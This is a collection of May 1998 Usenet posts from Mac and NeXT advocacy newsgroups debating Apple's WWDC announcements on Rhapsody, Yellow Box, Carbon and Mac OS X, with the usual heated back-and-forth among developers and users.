> Apple's unclear naming causes problems
That, I agree with. :(
> Rhapsody is the name for a group of technology. Under this 'technology' you
> have what was all of OpenSTEP and other new stuff. (I have no idea of what
> the new stuff is.) And OpenSTEP is a Mach Microkernel with a BSD flavor and
> the OpenSTEP API. The API is YellowBox and the OS can be called Rhaspody.
> Yet the OS + YellowBox is Rhapsody.
But the main point is that the people who "fell for" developing for the
Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
part of MacOS X.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 14:46:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfe60$7cj$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <see-below-13059822 <355AEC05.AB097DC4@milestonerdl.com>
In article <355AEC05.AB097DC4@milestonerdl.com>, mark@milestonerdl.com wrote:
> Christian Benesch wrote:
> > This is where the cat bites its tail.
> > No users --> no developers --> No applications --> no users --> no devs
> > -->....
> > and on and on and on.
> > If this is true, YB IS doomed.
> And with the cross-platform options are in question, developers have no reason
> to move to YB eh?
Here's a little exercise for you: spend some time writing a major app
in Carbon. Spend more time writing that same app in Yellow. With all
the spare time you have left, add lots of new features to the Yellow
version to boot.
People who think that cross-platform is the only advantage of Yellow
over Carbon are clueless, and are very likely not developers -- or at
least have never used the Yellow APIs.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 14:49:08 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfeb4$7d5$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <2s961.2078$sy4.3718097@news.rdc1.sdca.home.com> <rmcassid-1205982334360001@dialin33423.slip.uci. <*johnnyc*-1405981129300001@rklein.psychology.dal.ca>
In article <*johnnyc*-1405981129300001@rklein.psychology.dal.ca>, *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> Because of the impossibility that the entire 6000 Mac APIs were
> rewritten (and because it would be dumb) it is reasonable to assume that
> very little is "new". Most of Carbon must be Mac APIs over
> implementations that were already in Rhapsody.
I still can't figure out exactly what Carbon is! Is it what you said,
or just cleaned-up MacOS implementations?
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
Message-ID: <355b3e7c.0@news.depaul.edu>
Date: 14 May 98 18:57:00 GMT
In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> The death of YB as a cross-platform solution. If Apple were going to
> announce long-term YB Windows support or long-term Rhapsody/Intel support,
> I think they would have announced it at WWDC. They did not. Read between
> the lines. What does this tell you?
Have you read the slides?
--
"... and subpoenas for all." - Ken Starr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 14:57:56 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jferk$7e2$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <355B1D3F.27453C81@nospam.com> <6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3>
In article <rex-1405981430100001@192.168.0.3>, rex@smallandmighty.com (Eric King) wrote:
> In article <6jfanm$73n$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> :In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra
> <nospam@nospam.com> wrote:
> :> If not, then Yellow is just
> :> another API for the same system, so why bother with it at all, just
> :> write for Carbon...
> :Why do people keep saying this? Does anyone know the difference between
> :Carbon and Yellow???
> Sure they do, and writing for Yellow is still a heap of work.
No, it's not. That's the whole point. _Porting_ an existing app to
Yellow is a heap of work. Writing a new one for Yellow is a lot faster.
Even given the API-retraining time, it probably still ends up better for
a nontrivial-sized app, unless you already have lots of MacOS frameworks
applicable to your app already written to leverage -- and it really didn't
take me all that long to get decent on the APIs. (Still far from an
expert, since I'm just a hobbyist.)
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu> <ericb-1405981236220001@132.236.171.104>
Message-ID: <355b3f08.0@news.depaul.edu>
Date: 14 May 98 18:59:20 GMT
In comp.sys.next.advocacy Eric Bennett <ericb@pobox.com> wrote:
> In article <355a269d.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
> > If Jobs were 'in bed' with Microsoft, he'd be out campaigning for
> > the 'Free Redmond' effort, signing petitions, going to rallys,
> > etc. You couldn't get a more persuasive voice than someone running
> > a company squished by Microsoft, who's been affected by Microsoft's
> > creative definition of 'innovation', and who isn't as directly under
> > Gates' thumb as the Wintel CEO's.
> >
> > He's not doing that. He hasn't been heard of, wrt Microsoft.
> The *old* Jobs probably would have asked to appear before the Senate along
> with Barksdale and McNealy so he could tell people what scum the
> Microserfs are. His neutrality (inspired by cash) is enough to call him
> "bought off" in my book, even if "in bed with" is probably a bit
> excessive.
You're not much of a strategist, are you? Why should Apple get
involved in that pissing match? Let Sun and Netscape spend their
money. If they win, Apple wins. If Microsoft wins, then Apple
still wins.
Apple has more important things to do than blowing their
bargaining position in support of two loser companies like
Sun and Netscape.
--
"... and subpoenas for all." - Ken Starr
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 May 1998 15:00:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jff08$7ei$1@crib.bevc.blacksburg.va.us>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com>
In article <355B30B0.355C95BB@milestonerdl.com>, mark@milestonerdl.com wrote:
> Nathan Urban wrote:
> > In article <355AEB93.4AC11DA3@milestonerdl.com>, mark@milestonerdl.com wrote:
> > But the main point is that the people who "fell for" developing for the
> > Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
> > part of MacOS X.
> And if you 'fell for it' as part of a cross-platform spec, you will have to
> move elsewhere.
Wrong.
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: Thu, 14 May 1998 15:00:17 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-1405981500200001@chestnut1-27.slip.netaxs.com>
Mail-Copies-To: jayfar@netaxs.com
Last month I wrote:
| Subject: Re: AMP is dead!
| From: jayfar@netaxs.com (Jayfar)
| Date: 1998/04/21
| Message-ID: <jayfar-2104980920350001@chestnut1-23.slip.netaxs.com>
| Newsgroups: comp.sys.mac.advocacy
|
| In article <blackstar-1404982144490001@a-206-52.sp.neu.edu>,
| blackstar@aol.com wrote:
|
| | Today Apple Recon posted a photo of the AMP prototype.
| [snip]
| | It looks amazing
| [snip]
|
| Huh?!? I could swear I put one of those out at the curb
| with the trash last week, when I cleaned out my basement %-)
| Don't take offense please, but I feel compelled to suggest
| your amazement threshhold may be in serious need of
| recalibration.
MacOS Rumors offers a second-hand quote from a reader, quoting 'an Apple
employee' as saying the AMP pictures leaked were just pictures they
(Apple) dug up of an old Apple set-top box design. Plausible.
That aside, I hope the previous(ly) amazed poster was sufficiently sedated
for the iMac unveiling %-)
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Thu, 14 May 1998 15:09:50 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1405981509500001@pelli.pathology.pitt.edu>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <ericb-1405981420100001@132.236.171.104>, ericb@pobox.com (Eric
Bennett) wrote:
>
> OS 8 isn't going to get Yellow, so it seems, and OS X won't run on the
> vast majority of machines out there...
True enough but because MacOS X will run on top of Mach 3.0, it will run
fine on just about any of the PCI machines. Nubus powermacs and the older
ones are the guys shit out of luck.
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 19:03:43 GMT
Organization: University of California at San Diego
Message-ID: <slrn6lmg0e.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <Esu3v3.365@micmac.com> <see-below-1205981743380001@209.24.240.213> <EsvyFs.7qK@micmac.com> <6jco3t$6ns$3@msunews.cl.msu.edu>
:
:So perhaps this is supposed to make me happy. Why in the heck
:would I want to write for Carbon when I can write for YB.
With intellized Carbon, why in the heck would Microsoft want to have two
teams writing Office instead of one?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Anyone notice?
Newsgroups: comp.sys.next.advocacy
References: <355a240b.0@news.depaul.edu> <1d90rdb.fsb871iesj0yN@dialup184-4-8.swipnet.se>
Message-ID: <355b40c2.0@news.depaul.edu>
Date: 14 May 98 19:06:42 GMT
Lars Farm <lars.farm@ite.mh.se> wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > All of a sudden, people have a reason to buy Rhapsody 1.0.
> >
> > They'll have to run their apps in the BlueBox, but they'll
> > *know* that in a year they'll be able to install MacOS X
> People will not know until it is released.
> (... Pink, Talligent, Bedrock, OD, GX, ... )
Different management. Irrelevant.
> wwdc 96: Future Apple OS = (delayed) Copland soon. Gershwin 98
Different management. Irrelevant.
> Jan 97: Future Apple OS = Rhapsody in 12-18 months
Different management. Irrelevant.
> wwdc 98: Future Apple OS = Rhapsody soon. Mac OS X in 12-18 months
Rhapsody damn soon. MacOS X == Rhapsody + Mach 3. Carbon is already
running on DR2.
> wwdc 99: Future Apple OS = <so far unknown> in 12-18 months
Idiot blathering.
> Seems the new and improved leadership bought from NeXT continues the "no
> wait - i have a better idea" tradition (with emphasis on "wait").
Seems to me they only did it once.
--
"... and subpoenas for all." - Ken Starr
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 10:38:25 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981038250001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <3559FA4D.CF4A4BF4@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Most likely,
Nice to have nothing but speculation to refute facts. Next time, try basing
your beliefs on more than just made-up premises.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 10:39:53 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981039530001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com> <6ja6ji$k4$3@news.idiom.com> <3559E9B3.5718F3D7@spamtoNull.com>
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In article <3559E9B3.5718F3D7@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Exactly. So, logically, since the "Mac OS" is undoubtedly "way past its
> prime" why *rename* "Rhapsody" to MAC OS 10?
Uh, because the OS is past its prime, not the NAME! The NAME is familiar;
the CORE is old. Putting an old name on a new core solves both problems.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 10:37:34 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1405981037340001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us> <6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com> <6jcf2d$iu2@newsb.netnews.att.com> <3559F9D8.2336B338@spamtoNull.com>
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In article <3559F9D8.2336B338@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> > Well, Apple is promising to deliver on this -- i.e., Carbon.
> > What is everybody's problem ?
>
> Two thoughts come to mind:
>
> 1) "Apple is promising"
Apple promised Harmony, 8.1, Rhapsody, and the Blue Box, and has delivered
on all of those. No problems there.
> and
>
> 2) 18 months
Actually, 16 months until the final version of Mac OS X, 8 months until
betas of Mac OS X, and three months until Carbon APIs are available. So
again, no problem.
Andy Bates.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 14 May 1998 13:47:34 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jfanm$73n$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com> <see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com>
In article <355B1D3F.27453C81@nospam.com>, Tim Triemstra <nospam@nospam.com> wrote:
> If not, then Yellow is just
> another API for the same system, so why bother with it at all, just
> write for Carbon...
Why do people keep saying this? Does anyone know the difference between
Carbon and Yellow???
Message-ID: <355B415A.79B524C8@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <pulsar-ya02408000R1305981108250001@news-proxy.cso.uiuc.edu> <3559FA4D.CF4A4BF4@spamtoNull.com> <355a269d.0@news.depaul.edu>
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Date: Thu, 14 May 1998 19:05:42 GMT
NNTP-Posting-Date: Thu, 14 May 1998 15:05:42 EDT
Jonathan W Hendry wrote:
>
> In comp.sys.next.advocacy Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>
> > Most likely, Jobs signed away Rhapsody for Intel a long time ago when he
> > got into bed with Microsoft. He's done his due and paid lip service to
> > the concept, and that's about it.
>
> If Jobs were 'in bed' with Microsoft, he'd be out campaigning for
> the 'Free Redmond' effort, signing petitions, going to rallys,
> etc. You couldn't get a more persuasive voice than someone running
> a company squished by Microsoft, who's been affected by Microsoft's
> creative definition of 'innovation', and who isn't as directly under
> Gates' thumb as the Wintel CEO's.
>
Precisley. Out of all the voices screaming on Capitol Hill, "Get
Microsoft for us!", thankfully, Apple's voice is not among them.
From: stevenj@alum.mit.edu (Steven G. Johnson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Thu, 14 May 1998 13:40:23 -0400
Organization: MIT
Message-ID: <stevenj-ya02408000R1405981340230001@news.mit.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104>
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ericb@pobox.com (Eric Bennett) wrote:
>I am still unsure about what's going to happen to YB on Windows. Like
>Rhapsody, certainly we'll see an initial release. But from what I've
>heard, Apple said nothing more about YB/Windows that it did about
>Rhapsody/x86, and we know where the latter is headed... to the scrap heap.
That's not true. For example, in the "Rhapsody and Yellow Box in 1998"
WWDC session, they said that while YB/Windows is not free yet (although
Apple will be selling it at cost), they are committed to making it
completely free in a MacOS X time frame. i.e. it will still be around, and
Apple will still be committed to it, when MacOS X is here.
(See http://isocket.gzx.com/speeches/117.html)
It seems clear that Apple is still committed to Yellow box, both from the
attention they are giving it at WWDC and the amount of effort they continue
to expend in improving it.
Cordially,
Steven G. Johnson
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Thu, 14 May 1998 15:23:50 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1405981523500001@pelli.pathology.pitt.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <355AF80B.B27F01FA@milestonerdl.com>, mark@milestonerdl.com wrote:
> Been there, saw that.
>
> No mention of any NT 5.X future.
Just out of curiousity, How vaporously close to release is NT5?
Also, Since NT 5 is reported to have more than 14 million lines of NEW
code, how fast do you think it will be adopted?
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
Message-ID: <355B445E.5E05A6F6@unet.univie.ac.at>
Date: Thu, 14 May 1998 21:22:07 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <6jda1o$lf$1@xmission.xmission.com> <see-below-1305982118340001@209.24.241.190> <355AD181.3D3B77B7@milestonerdl.com>
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M Rassbach wrote:
> Matthew Vaughan wrote:
>
> > I> It looks like the Yellow Box on Windows will live, but word about an Apple
> > > OS on Intel has been conspiciously absent during this event.
> >
> > That is true. But I think it will still be there. But for the time being,
> > it will only be targeted at current OpenStep users, servers, and certain
> > custom workstation installations (ie, publishing systems).
>
> Then the long-term Intel-based YellowBox *IS* speculation.
As *IS* the abolition of it!
Christian Benesch
Date: Wed, 13 May 1998 22:59:42 -0500
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <djboccip-1305982300160001@tnt2-74.hiwaay.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com>
Organization: NASA/MSFC HR-20
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
In article <3559E64B.A3A9AF2@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Or perhaps, this was an attempt at the Worldwide Developers Conference not
> > to piss off Macintosh developers by pushing too heavily something that
> > would entirely obselete their software and force them to entirely rewrite
> > if they wanted to gain PMT/PM/VM and such.
>
>
> OK, how many "Mac OS developers" do you think will hang around until Q3
> '99 to get the stuff Jobs/Apple/Amelio promised would be available in
> the *general* Mac OS (which was code-named Rhapsody) in Q2 '98?
>
>
None, because there's no need to hang out til Q3 99 to continue developing
for "MacOS" systems. No apps currently _need_ PMT/PM/VM ... they're
niceties that improve the user experience and overall performance.
There are very few apps for which these are essential components.
We've got a perfectly usable, highly polished OS right here, right now.
And by Q3 98 we'll have two of them, MacOS and Rhapsody.
If carbonizing the apps is as easy as claimed, there's no reason not
to do it. Developers need not wait til Q3 99 to do that, according
to the Carbon white paper, there's a couple of SDKs that need polishing,
but that's Q3 98 at the latest, not 99.
If developing for Rhapsody is the goal, there's no reason not to do it.
CR1 is going out marginally behind schedule, and according to today's
updates (especially from the Connectix fellow, who I would assume we
can trust to know what he's talking about), at least the initial Intel
release is safe. Ship for CR1, get a small PPC install base and
the same small Intel install base you'd have gotten before 11 May's
announcement. Except that now you can look forward to complete
assimilation into the whole current PPC MacOS install base (or perhaps
G3 and up) in Q3 99, with a likely healthier "MacOS" market because the
MacOS developers haven't been scared off.
The only ones who should be shuddering would be those gambling wholly on
the long-term success of Rhapsody for Intel, which was _never_
guaranteed (the success, that is). From a business perspective,
Rhapsody for PPC simply _had_ to be the failsafe market, because there'd
be no guarantee that RfI would succeed any better than OpenStep.
RfI could have been (and could still be) a huge payoff if it took off,
but that was _never_ guaranteed. So nothing's changed. CR1 ships,
the failsafe RfPPC market is there. X appears in Q3 99, the failsafe
PPC market expands. CR1 ships, the hitherto nonexistent Intel market
suddenly appears. Q3 99, the RfI market is still as much a mystery as
it was a week ago. Maybe a killer app will make it compelling. Maybe
it won't. (One would hope that all that additonal productivity
you get in the Rhap development enviornment can be channeled to true
innovation and creativity!) RfI was, and still is, a high-stakes gamble
from a business standpoint.
MHO, even if not always presented humbly,
DJB
--
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
_/ Dr. Dennis J. Boccippio _/
_/ Global Hydrology and Climate Center, NASA / MSFC HR-20 _/
_/ Marshall Space Flight Center, AL 35812 _/
_/ http://fly.hiwaay.net/~djboccip/intro.html _/
_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 14 May 1998 13:26:12 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355B3744.18038EC5@milestonerdl.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com> <6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com> <6jff08$7ei$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355B30B0.355C95BB@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > Nathan Urban wrote:
>
> > > In article <355AEB93.4AC11DA3@milestonerdl.com>, mark@milestonerdl.com wrote:
> > > But the main point is that the people who "fell for" developing for the
> > > Rhapsody API are not screwed -- the Rhapsody API (Yellow) is an integral
> > > part of MacOS X.
>
> > And if you 'fell for it' as part of a cross-platform spec, you will have to
> > move elsewhere.
>
> Wrong.
Show where there is a cross-platform future? So far no one has shown a press
release showing that Apple feels NT 5.X/Win 98 is worth making a committment to.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 14 May 1998 19:27:31 GMT
Organization: University of California at San Diego
Message-ID: <slrn6lmhd2.rb6.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jed3f$kfa$1@larry.admin.phil.uu.nl> <6jeo7l$nqt@singer.cent.gla.ac.uk> <355af27c.0@206.25.228.5>
On 14 May 98 13:32:44 GMT, John Kheit <jkheit@xtdl.com> wrote:
:sbrando@music.gla.ac.uk (Stephen Brandon - please fix my surname
:in my email address) wrote:
:> In article <6jed3f$kfa$1@larry.admin.phil.uu.nl> freek@phil.uu.nl
:> (Freek Wiedijk) writes: And us. University policy here is very
anti-Mac so we can't purchase their hardware. I was hoping to
go with Rhapsody/Intel, but it looks like there is no mainstream
future for it, and none of the wealth of apps that would start
> to appear if Apple were to support it fully, instead of relegating
:> it to second best ("server platform").
:
:> I am *so* depressed about the real possibility of having to move
:> over to Windows. But at least there are compelling music
:> applications there! That's what really counts.
:I have no good reason for this, but I'm getting that sick "another
:dumbass idiot apple strategic direction into proprietary arrogance"
:feeling from all of this. I hope I'm wrong here as I've been on
:numerous occasions in the past. But this seems just like typical
:apple avarice in trying to push their vision in only their package.
Please, mail your concerns to "leadership@apple.com". Maybe it will work.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
Message-ID: <355B47A6.64301C9@unet.univie.ac.at>
Date: Thu, 14 May 1998 21:36:06 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <bPZ51.1916$sy4.3331778@news.rdc1.sdca.home.com> <35586023.305658D1@milestonerdl.com> <ry_51.1921$sy4.3355491@news.rdc1.sdca.home.com> <35586AD9.C2C2FFB0@milestonerdl.com> <%D%51.1927$sy4.3384960@news.rdc1.sdca.home.com> <35588453.6DD10BC8@milestonerdl.com> <see-below-1205981905160001@209.24.240.213> <6jchjg$9nl$1@interport.net> <see-below-1305982245580001@209.24.241.190> <355A96AD.ACA0E6AF@unet.univie.ac.at> <355AEC05.AB097DC4@milestonerdl.com>
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You really should have cited the whole post.
And put it in context.
*repeat*
This is where the cat bites its tail.
No users --> no developers --> No applications --> no users --> no devs
-->....
and on and on and on.
If this is true, YB IS doomed.
Luckily with the new plan, MacOS-devs will have a more modest migration
scheme, or so I think.(I must admit,I don't have a clue about
MacOS-developing)
*repeat end*
So I am just adressing the rumors over Carbon stalling the YellowBox.
And ,BTW,I don't think that cross-platform is dead,yet!
Christian Benesch
M Rassbach wrote:
> Christian Benesch wrote:
>
> > This is where the cat bites its tail.
> > No users --> no developers --> No applications --> no users --> no devs
> > -->....
> > and on and on and on.
> > If this is true, YB IS doomed.
>
> And with the cross-platform options are in question, developers have no reason
> to move to YB eh?
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
